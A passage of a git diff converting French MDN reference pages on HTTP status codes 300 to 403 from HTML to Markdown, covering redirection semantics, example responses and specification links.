rarement utilisé.</p> +Le code de statut de réponse **`300 Multiple Choices`** indique qu'il existe plusieurs réponses possibles pour la requête. L'agent utilisateur ou l'utilisateur doit alors choisir l'une d'elles. Il n'y a pas de méthode standard pour choisir une des réponses disponibles et ce code de réponse est donc rarement utilisé. -<p>Si le serveur à une préférence, il doit générer un en-tête {{HTTPHeader("Location")}}.</p> +Si le serveur à une préférence, il doit générer un en-tête {{HTTPHeader("Location")}}. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">300 Multiple Choices</pre> + 300 Multiple Choices -<h2 id="Exemples">Exemples</h2> +## Exemples -<p>Consultez <a href="https://www.w3.org/Style/Examples/007/figures.ht">cette page de w3.org à propos des réponses à choix multiples</a>.</p> +Consultez [cette page de w3.org à propos des réponses à choix multiples](https://www.w3.org/Style/Examples/007/figures.ht). -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "300 Multiple Choices" , "6.4.1")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ---------------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "300 Multiple Choices" , "6.4.1")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPStatus("301")}} <code>Moved Permanently</code></li> - <li>{{HTTPStatus("302")}} <code>Found</code>, la redirection temporaire</li> - <li>{{HTTPStatus("308")}} <code>Permanent Redirect</code></li> -</ul> +- {{HTTPStatus("301")}} `Moved Permanently` +- {{HTTPStatus("302")}} `Found`, la redirection temporaire +- {{HTTPStatus("308")}} `Permanent Redirect` diff --git a/files/fr/web/http/status/301/index.md b/files/fr/web/http/status/301/index.md index 687d38dd1c..1e34eee29d 100644 --- a/files/fr/web/http/status/301/index.md +++ b/files/fr/web/http/status/301/index.md @@ -7,38 +7,27 @@ tags: - Reference translation_of: Web/HTTP/Status/301 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse de redirection <code><strong>301</strong></code><strong><code> Moved Permanently</code></strong> indique que la ressource a définitivement été déplacée à l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirigera vers cette page et les moteurs de recherche mettront à jour leurs liens vers la ressource (en termes de référencement, cela implique que le flux de référencement est envoyé vers la nouvelle URL).</p> +Le code de statut de réponse de redirection **`301`\*\***` Moved Permanently`\*\* indique que la ressource a définitivement été déplacée à l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirigera vers cette page et les moteurs de recherche mettront à jour leurs liens vers la ressource (en termes de référencement, cela implique que le flux de référencement est envoyé vers la nouvelle URL). -<p>Même si la spécification impose que la méthode et le corps ne soient pas altérés lors d'une redirection, tous les agents utilisateurs ne s'y conforment pas et il est possible de trouver des logiciels bogués sur ce point. Il est donc recommandé d'utiliser le code <code>301</code> uniquement pour répondre à une requête {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}, et de privilégier le code {{HTTPStatus("308")}} <code>Permanent Redirect</code> pour répondre à {{HTTPMethod("POST")}} puisque le changement de méthode est explicitement interdit avec ce statut.</p> +Même si la spécification impose que la méthode et le corps ne soient pas altérés lors d'une redirection, tous les agents utilisateurs ne s'y conforment pas et il est possible de trouver des logiciels bogués sur ce point. Il est donc recommandé d'utiliser le code `301` uniquement pour répondre à une requête {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}, et de privilégier le code {{HTTPStatus("308")}} `Permanent Redirect` pour répondre à {{HTTPMethod("POST")}} puisque le changement de méthode est explicitement interdit avec ce statut. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">301 Moved Permanently</pre> + 301 Moved Permanently -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "301 Redirect Permanently" , "6.4.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ------------------------------------------------------------------------ | ------------------------------------------------------------- | +| {{RFC("7231", "301 Redirect Permanently" , "6.4.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "301")}}</p> +{{Compat("http/status", "301")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPStatus("308")}} <code>Permanent Redirect</code></li> - <li>{{HTTPStatus("302")}} <code>Found</code>, la redirection temporaire.</li> -</ul> +- {{HTTPStatus("308")}} `Permanent Redirect` +- {{HTTPStatus("302")}} `Found`, la redirection temporaire. diff --git a/files/fr/web/http/status/302/index.md b/files/fr/web/http/status/302/index.md index dc596476b3..c23669682d 100644 --- a/files/fr/web/http/status/302/index.md +++ b/files/fr/web/http/status/302/index.md @@ -8,41 +8,30 @@ tags: - redirections translation_of: Web/HTTP/Status/302 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse de redirection <code><strong>302</strong></code><strong><code> Found</code></strong> indique que la ressource est temporairement déplacée vers l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirige vers cette page, mais les moteurs de recherche ne mettent pas à jour leurs liens vers la ressource (en termes de référencement, cela indique que le flux de référencement n'est pas envoyé vers la nouvelle URL).</p> +Le code de statut de réponse de redirection **`302`\*\***` Found`\*\* indique que la ressource est temporairement déplacée vers l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirige vers cette page, mais les moteurs de recherche ne mettent pas à jour leurs liens vers la ressource (en termes de référencement, cela indique que le flux de référencement n'est pas envoyé vers la nouvelle URL). -<p>Même si la spécification impose que la méthode et le corps ne soient pas altérés lors d'une redirection, tous les agents utilisateurs ne s'y conforment pas et il est toujours possible de trouver des logiciels bogués sur ce point. Il est donc recommandé d'utiliser le code <code>302</code> uniquement comme réponse à une méthode {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}} et d'utiliser le code {{HTTPStatus("307")}} <code>Temporary Redirect</code> à la place puisque le changement de méthode est explicitement interdit dans ce cas.</p> +Même si la spécification impose que la méthode et le corps ne soient pas altérés lors d'une redirection, tous les agents utilisateurs ne s'y conforment pas et il est toujours possible de trouver des logiciels bogués sur ce point. Il est donc recommandé d'utiliser le code `302` uniquement comme réponse à une méthode {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}} et d'utiliser le code {{HTTPStatus("307")}} `Temporary Redirect` à la place puisque le changement de méthode est explicitement interdit dans ce cas. -<p>Si vous souhaitez que la méthode utilisée soit changée en {{HTTPMethod("GET")}}, vous pouvez utiliser {{HTTPStatus("303")}} <code>See Also</code> à la place. Ceci s'avère utile lorsqu'on souhaite donner une réponse à une méthode {{HTTPMethod("PUT")}} qui n'est pas la ressource téléversée, mais plutôt un message de confirmation (par exemple "Vous avez téléversé avec succès XYZ").</p> +Si vous souhaitez que la méthode utilisée soit changée en {{HTTPMethod("GET")}}, vous pouvez utiliser {{HTTPStatus("303")}} `See Also` à la place. Ceci s'avère utile lorsqu'on souhaite donner une réponse à une méthode {{HTTPMethod("PUT")}} qui n'est pas la ressource téléversée, mais plutôt un message de confirmation (par exemple "Vous avez téléversé avec succès XYZ"). -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">302 Found</pre> + 302 Found -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "302 Found" , "6.4.3")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ---------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "302 Found" , "6.4.3")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "302")}}</p> +{{Compat("http/status", "302")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPStatus("307")}} <code>Temporary Redirect</code>, l'équivalent de ce code de statut, mais qui ne change jamais la méthode utilisée.</li> - <li>{{HTTPStatus("303")}} <code>See Also</code>, une redirection temporaire qui change la méthode utilisée par {{HTTPMethod("GET")}}.</li> - <li>{{HTTPStatus("301")}} <code>Moved Permanently</code>, la redirection permanente.</li> -</ul> +- {{HTTPStatus("307")}} `Temporary Redirect`, l'équivalent de ce code de statut, mais qui ne change jamais la méthode utilisée. +- {{HTTPStatus("303")}} `See Also`, une redirection temporaire qui change la méthode utilisée par {{HTTPMethod("GET")}}. +- {{HTTPStatus("301")}} `Moved Permanently`, la redirection permanente. diff --git a/files/fr/web/http/status/303/index.md b/files/fr/web/http/status/303/index.md index 5e6def829e..133b8f8375 100644 --- a/files/fr/web/http/status/303/index.md +++ b/files/fr/web/http/status/303/index.md @@ -7,35 +7,24 @@ tags: - Référence(2) translation_of: Web/HTTP/Status/303 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse de redirection <code><strong>303</strong></code><strong><code> See Other</code></strong>, généralement renvoyé comme résultat d'une opération {{HTTPMethod("PUT")}} ou {{HTTPMethod("POST")}}, indique que la redirection ne fait pas le lien vers la ressource nouvellement téléversé mais vers une autre page (par exemple une page de confirmation ou qui affiche l'avancement du téléversement). La méthode utilisée pour afficher la page redirigée est toujours {{HTTPMethod("GET")}}.</p> +Le code de statut de réponse de redirection **`303`\*\***` See Other`\*\*, généralement renvoyé comme résultat d'une opération {{HTTPMethod("PUT")}} ou {{HTTPMethod("POST")}}, indique que la redirection ne fait pas le lien vers la ressource nouvellement téléversé mais vers une autre page (par exemple une page de confirmation ou qui affiche l'avancement du téléversement). La méthode utilisée pour afficher la page redirigée est toujours {{HTTPMethod("GET")}}. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">303 See Other</pre> + 303 See Other -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "303 See Other" , "6.4.4")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "303 See Other" , "6.4.4")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "303")}}</p> +{{Compat("http/status", "303")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPStatus("302")}} <code>Found</code>, la redirection temporaire.</li> -</ul> +- {{HTTPStatus("302")}} `Found`, la redirection temporaire. diff --git a/files/fr/web/http/status/304/index.md b/files/fr/web/http/status/304/index.md index 978caf4278..bb83b6fe7f 100644 --- a/files/fr/web/http/status/304/index.md +++ b/files/fr/web/http/status/304/index.md @@ -7,42 +7,29 @@ tags: - Reference translation_of: Web/HTTP/Status/304 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de réponse de redirection <code><strong>304</strong></code><strong><code> Not Modified</code></strong> indique qu'il n'y a pas besoin de retransmettre les ressources demandées. C'est une redirection implicite vers une ressource mise en cache. Cela survient lorsque la méthode de requête est <em>{{glossary("safe")}}</em> (par exemple une requête {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}), ou lorsque la requête est conditionnelle et utilise l'en-tête {{HTTPHeader("If-None-Match")}} ou {{HTTPHeader("If-Modified-Since")}}.</p> +Le code de réponse de redirection **`304`\*\***` Not Modified`\*_ indique qu'il n'y a pas besoin de retransmettre les ressources demandées. C'est une redirection implicite vers une ressource mise en cache. Cela survient lorsque la méthode de requête est _{{glossary("safe")}}\* (par exemple une requête {{HTTPMethod("GET")}} ou {{HTTPMethod("HEAD")}}), ou lorsque la requête est conditionnelle et utilise l'en-tête {{HTTPHeader("If-None-Match")}} ou {{HTTPHeader("If-Modified-Since")}}. -<p>La réponse {{HTTPStatus("200")}} <code>OK</code> équivalente aurait inclus les en-têtes {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, {{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}}, et {{HTTPHeader("Vary")}}.</p> +La réponse {{HTTPStatus("200")}} `OK` équivalente aurait inclus les en-têtes {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, {{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}}, et {{HTTPHeader("Vary")}}. -<div class="note"> -<p><strong>Note :</strong> Dans les navigateurs, <a href="/fr/docs/Outils/Moniteur_réseau">les outils de développement réseau</a> créent des requêtes supplémentaires qui conduisent à des réponses <code>304</code>. Ainsi l'accès au cache local est visible par les développeurs .</p> -</div> +> **Note :** Dans les navigateurs, [les outils de développement réseau](/fr/docs/Outils/Moniteur_réseau) créent des requêtes supplémentaires qui conduisent à des réponses `304`. Ainsi l'accès au cache local est visible par les développeurs . -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">304 Not Modified</pre> + 304 Not Modified -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7232", "304 Not Modified" , "4.1")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------- | ------------------------------------------------------------ | +| {{RFC("7232", "304 Not Modified" , "4.1")}} | Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "304")}}</p> +{{Compat("http/status", "304")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("If-Modified-Since")}}</li> - <li>{{HTTPHeader("If-None-Match")}}</li> -</ul> +- {{HTTPHeader("If-Modified-Since")}} +- {{HTTPHeader("If-None-Match")}} diff --git a/files/fr/web/http/status/307/index.md b/files/fr/web/http/status/307/index.md index 90d7b44479..c436d90d81 100644 --- a/files/fr/web/http/status/307/index.md +++ b/files/fr/web/http/status/307/index.md @@ -7,42 +7,30 @@ tags: - Reference translation_of: Web/HTTP/Status/307 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse de redirection <code><strong>307</strong></code><strong><code> Temporary Redirect</code></strong> indique que la ressource est temporairement déplacée vers l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirige vers cette page mais les moteurs de recherche ne mettent pas à jour leurs liens vers la ressource (en termes de référencement, cela indique que le flux de référencement n'est pas envoyé vers la nouvelle URL).</p> +Le code de statut de réponse de redirection **`307`\*\***` Temporary Redirect`\*\* indique que la ressource est temporairement déplacée vers l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirige vers cette page mais les moteurs de recherche ne mettent pas à jour leurs liens vers la ressource (en termes de référencement, cela indique que le flux de référencement n'est pas envoyé vers la nouvelle URL). -<p>La méthode et le corps de la requête original sont réutilisés pour réaliser la requête redirigée. Si vous souhaitez que la méthode utilisée soit changée {{HTTPMethod("GET")}}, il faut alors utiliser le code {{HTTPStatus("303")}} <code>See Also</code> à la place. Ceci s'avère utile lorsqu'on souhaite donner une réponse à une méthode {{HTTPMethod("PUT")}} et que cette réponse n'est pas la ressource téléversée mais un message de confirmation (par exemple "Vous avez téléversé avec succès XYZ").</p> +La méthode et le corps de la requête original sont réutilisés pour réaliser la requête redirigée. Si vous souhaitez que la méthode utilisée soit changée {{HTTPMethod("GET")}}, il faut alors utiliser le code {{HTTPStatus("303")}} `See Also` à la place. Ceci s'avère utile lorsqu'on souhaite donner une réponse à une méthode {{HTTPMethod("PUT")}} et que cette réponse n'est pas la ressource téléversée mais un message de confirmation (par exemple "Vous avez téléversé avec succès XYZ"). -<p>La seule différence entre le code <code>307</code> et le code {{HTTPStatus("302")}} réside dans le fait que le statut <code>307</code> garantit que la méthode et le corps ne seront pas modifiés lorsque la requête redirigée aura lieu. Avec <code>302</code>, quelques anciens clients changent, incorrectement, la méthode vers {{HTTPMethod("GET")}} : ce comportement, avec les méthodes différentes de <code>GET</code> et <code>302</code>, est imprédictible sur le Web. En revanche; celui de <code>307</code> est bien prédictible. Pour la requête <code>GET</code>, leurs comportements respectifs sont identiques.</p> +La seule différence entre le code `307` et le code {{HTTPStatus("302")}} réside dans le fait que le statut `307` garantit que la méthode et le corps ne seront pas modifiés lorsque la requête redirigée aura lieu. Avec `302`, quelques anciens clients changent, incorrectement, la méthode vers {{HTTPMethod("GET")}} : ce comportement, avec les méthodes différentes de `GET` et `302`, est imprédictible sur le Web. En revanche; celui de `307` est bien prédictible. Pour la requête `GET`, leurs comportements respectifs sont identiques. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">307 Temporary Redirect -</pre> + 307 Temporary Redirect -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "307 Temporary Redirect" , "6.4.7")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "307 Temporary Redirect" , "6.4.7")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "307")}}</p> +{{Compat("http/status", "307")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPStatus("302")}} <code>Found</code>, l'équivalent de ce code de statut, mais qui peut modifier la méthode utilisée lorsqu'il ne s'agit pas d'un {{HTTPMethod("GET")}}.</li> - <li>{{HTTPStatus("303")}} <code>See Also</code>, une redirection temporaire qui change la méthode utilisée en {{HTTPMethod("GET")}}.</li> - <li>{{HTTPStatus("301")}} <code>Moved Permanently</code>, la redirection permanente</li> -</ul> +- {{HTTPStatus("302")}} `Found`, l'équivalent de ce code de statut, mais qui peut modifier la méthode utilisée lorsqu'il ne s'agit pas d'un {{HTTPMethod("GET")}}. +- {{HTTPStatus("303")}} `See Also`, une redirection temporaire qui change la méthode utilisée en {{HTTPMethod("GET")}}. +- {{HTTPStatus("301")}} `Moved Permanently`, la redirection permanente diff --git a/files/fr/web/http/status/308/index.md b/files/fr/web/http/status/308/index.md index b6986ad4f7..2a714667db 100644 --- a/files/fr/web/http/status/308/index.md +++ b/files/fr/web/http/status/308/index.md @@ -7,42 +7,29 @@ tags: - Reference translation_of: Web/HTTP/Status/308 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse de redirection <code><strong>308</strong></code><strong><code> Permanent Redirect</code></strong> indique que la ressource demandée à définitivement été déplacée vers l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirigera vers cette page et les moteurs de recherche mettront à jour leurs liens vers la ressource (en termes de référencement, cela implique que le flux de référencement est envoyé vers la nouvelle URL).</p> +Le code de statut de réponse de redirection **`308`\*\***` Permanent Redirect`\*\* indique que la ressource demandée à définitivement été déplacée vers l'URL contenue dans l'en-tête {{HTTPHeader("Location")}}. Un navigateur redirigera vers cette page et les moteurs de recherche mettront à jour leurs liens vers la ressource (en termes de référencement, cela implique que le flux de référencement est envoyé vers la nouvelle URL). -<p>La méthode de requête et son corps ne sont pas modifiés, toutefois {{HTTPStatus("301")}} peut parfois changer la méthode vers {{HTTPHeader("GET")}}.</p> +La méthode de requête et son corps ne sont pas modifiés, toutefois {{HTTPStatus("301")}} peut parfois changer la méthode vers {{HTTPHeader("GET")}}. -<div class="note"> -<p><strong>Note :</strong> Certaines applications Web peuvent utiliser <code>308 Permanent Redirect</code> de façon non standard et pour d'autres usages. Par exemple, Google Drive utilise la réponse <code>308 Resume Incomplete</code> pour indiquer au client un chargement incomplet qui est bloqué (<a href="https://developers.google.com/drive/v3/web/manage-uploads#resumable">source</a>).</p> -</div> +> **Note :** Certaines applications Web peuvent utiliser `308 Permanent Redirect` de façon non standard et pour d'autres usages. Par exemple, Google Drive utilise la réponse `308 Resume Incomplete` pour indiquer au client un chargement incomplet qui est bloqué ([source](https://developers.google.com/drive/v3/web/manage-uploads#resumable)). -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">308 Permanent Redirect</pre> + 308 Permanent Redirect -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7538", "308 Permanent Redirect" , "3")}}</td> - <td>The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect)</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ---------------------------------------------------------------- | -------------------------------------------------------------------- | +| {{RFC("7538", "308 Permanent Redirect" , "3")}} | The Hypertext Transfer Protocol Status Code 308 (Permanent Redirect) | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "308")}}</p> +{{Compat("http/status", "308")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPStatus("301")}} <code>Moved Permanently</code></li> - <li>{{HTTPStatus("302")}} <code>Found</code>, la redirection temporaire</li> -</ul> +- {{HTTPStatus("301")}} `Moved Permanently` +- {{HTTPStatus("302")}} `Found`, la redirection temporaire diff --git a/files/fr/web/http/status/400/index.md b/files/fr/web/http/status/400/index.md index 01961cfffc..5d9e6d4532 100644 --- a/files/fr/web/http/status/400/index.md +++ b/files/fr/web/http/status/400/index.md @@ -8,25 +8,16 @@ tags: - Reference translation_of: Web/HTTP/Status/400 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse HTTP <code><strong>400</strong></code><strong><code> Bad Request</code></strong> indique que le serveur ne peut pas comprendre la requête en raison d'une syntaxe invalide. Le client ne devrait pas répéter la requête sans modification.</p> +Le code de statut de réponse HTTP **`400`\*\***` Bad Request`\*\* indique que le serveur ne peut pas comprendre la requête en raison d'une syntaxe invalide. Le client ne devrait pas répéter la requête sans modification. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">400 Bad Request </pre> + 400 Bad Request -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "400 Bad Request" , "6.5.1")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ------------------------------------------------------------ | ------------------------------------------------------------- | +| {{RFC("7231", "400 Bad Request" , "6.5.1")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | diff --git a/files/fr/web/http/status/401/index.md b/files/fr/web/http/status/401/index.md index b7364935cc..9f2b34f9fe 100644 --- a/files/fr/web/http/status/401/index.md +++ b/files/fr/web/http/status/401/index.md @@ -8,50 +8,39 @@ tags: - Reference translation_of: Web/HTTP/Status/401 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut de réponse HTTP <strong><code>401 Unauthorized</code></strong> indique que la requête n'a pas été effectuée car il manque des informations d'authentification valides pour la ressource visée.</p> +Le code de statut de réponse HTTP **`401 Unauthorized`** indique que la requête n'a pas été effectuée car il manque des informations d'authentification valides pour la ressource visée. -<p>Ce statut est envoyé avec un en-tête {{HTTPHeader("WWW-Authenticate")}} qui décrit la méthode pour s'authentifier correctement.</p> +Ce statut est envoyé avec un en-tête {{HTTPHeader("WWW-Authenticate")}} qui décrit la méthode pour s'authentifier correctement. -<p>Ce statut est similaire à {{HTTPStatus("403")}} mais, dans ce cas, une authentification est possible.</p> +Ce statut est similaire à {{HTTPStatus("403")}} mais, dans ce cas, une authentification est possible. -<h2 id="Statut">Statut</h2> +## Statut -<pre class="syntaxbox">401 Unauthorized</pre> + 401 Unauthorized -<h2 id="Exemple_de_réponse">Exemple de réponse</h2> +## Exemple de réponse -<pre>HTTP/1.1 401 Unauthorized -Date: Wed, 21 Oct 2015 07:28:00 GMT -WWW-Authenticate: Basic realm="Access to staging site"</pre> + HTTP/1.1 401 Unauthorized + Date: Wed, 21 Oct 2015 07:28:00 GMT + WWW-Authenticate: Basic realm="Access to staging site" -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7235", "401 Unauthorized" , "3.1")}}</td> - <td>HTTP/1.1: Authentication</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| -------------------------------------------------------- | ------------------------ | +| {{RFC("7235", "401 Unauthorized" , "3.1")}} | HTTP/1.1: Authentication | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http/status", "401")}}</p> +{{Compat("http/status", "401")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/fr/docs/Web/HTTP/Authentication">La gestion de l'authentification en HTTP</a></li> - <li>{{HTTPHeader("WWW-Authenticate")}}</li> - <li>{{HTTPHeader("Authorization")}}</li> - <li>{{HTTPHeader("Proxy-Authorization")}}</li> - <li>{{HTTPHeader("Proxy-Authenticate")}}</li> - <li>{{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> -</ul> +- [La gestion de l'authentification en HTTP](/fr/docs/Web/HTTP/Authentication) +- {{HTTPHeader("WWW-Authenticate")}} +- {{HTTPHeader("Authorization")}} +- {{HTTPHeader("Proxy-Authorization")}} +- {{HTTPHeader("Proxy-Authenticate")}} +- {{HTTPStatus("403")}}, {{HTTPStatus("407")}} diff --git a/files/fr/web/http/status/402/index.md b/files/fr/web/http/status/402/index.md index 8120dd443d..1692a90f13 100644 --- a/files/fr/web/http/status/402/index.md +++ b/files/fr/web/http/status/402/index.md @@ -3,43 +3,31 @@ title: 402 Payment Required slug: Web/HTTP/Status/402 translation_of: Web/HTTP/Status/402 --- -<p>{{SeeCompatTable}}</p> +{{SeeCompatTable}} -<p>Le code de statut de réponse HTTP <strong><code>402 Payment Required</code></strong> est une erreur non standard réservée pour un usage futur.</p> +Le code de statut de réponse HTTP **`402 Payment Required`** est une erreur non standard réservée pour un usage futur. -<p>En général ce code indique que la requete ne peut pas etre traitée avant que le client fasse un paiement. Initialement il a été créé afin de permettre des (micro) paiements numériques et indiquerait que le contenu demandé n'est pas disponible avant que le client ne fasse un paiement. Cependant, aucune convention d'usage commune n'existe et différentes entités l'utilisent dans différents contextes.</p> +En général ce code indique que la requete ne peut pas etre traitée avant que le client fasse un paiement. Initialement il a été créé afin de permettre des (micro) paiements numériques et indiquerait que le contenu demandé n'est pas disponible avant que le client ne fasse un paiement. Cependant, aucune convention d'usage commune n'existe et différentes entités l'utilisent dans différents contextes. -<h2 id="Statut">Statut</h2> +## Statut -<pre>402 Payment Required</pre> + 402 Payment Required -<h2 id="Exemple_de_réponse">Exemple de réponse</h2> +## Exemple de réponse -<pre>HTTP/1.1 402 Payment Required -Date: Wed, 21 Oct 2015 07:28:00 GMT -</pre> + HTTP/1.1 402 Payment Required + Date: Wed, 21 Oct 2015 07:28:00 GMT -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Titre</th> - </tr> - <tr> - <td>{{RFC("7231", "402 Payment Required" , "6.5.2")}}</td> - <td>HTTP/1.1: Semantics and Content</td> - </tr> - </tbody> -</table> +| Spécification | Titre | +| ---------------------------------------------------------------- | ------------------------------- | +| {{RFC("7231", "402 Payment Required" , "6.5.2")}} | HTTP/1.1: Semantics and Content | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.status.402")}}</p> +{{Compat("http.status.402")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li><a href="/en-US/docs/Web/HTTP/Authentication">HTTP authentication</a></li> -</ul> +- [HTTP authentication](/en-US/docs/Web/HTTP/Authentication) diff --git a/files/fr/web/http/status/403/index.md b/files/fr/web/http/status/403/index.md index 060427d7a6..912a86f0a2 100644 --- a/files/fr/web/http/status/403/index.md +++ b/files/fr/web/http/status/403/index.md @@ -8,43 +8,31 @@ tags: - Reference translation_of: Web/HTTP/Status/403 --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>Le code de statut d'erreur de réponse HTTP <strong><code>403 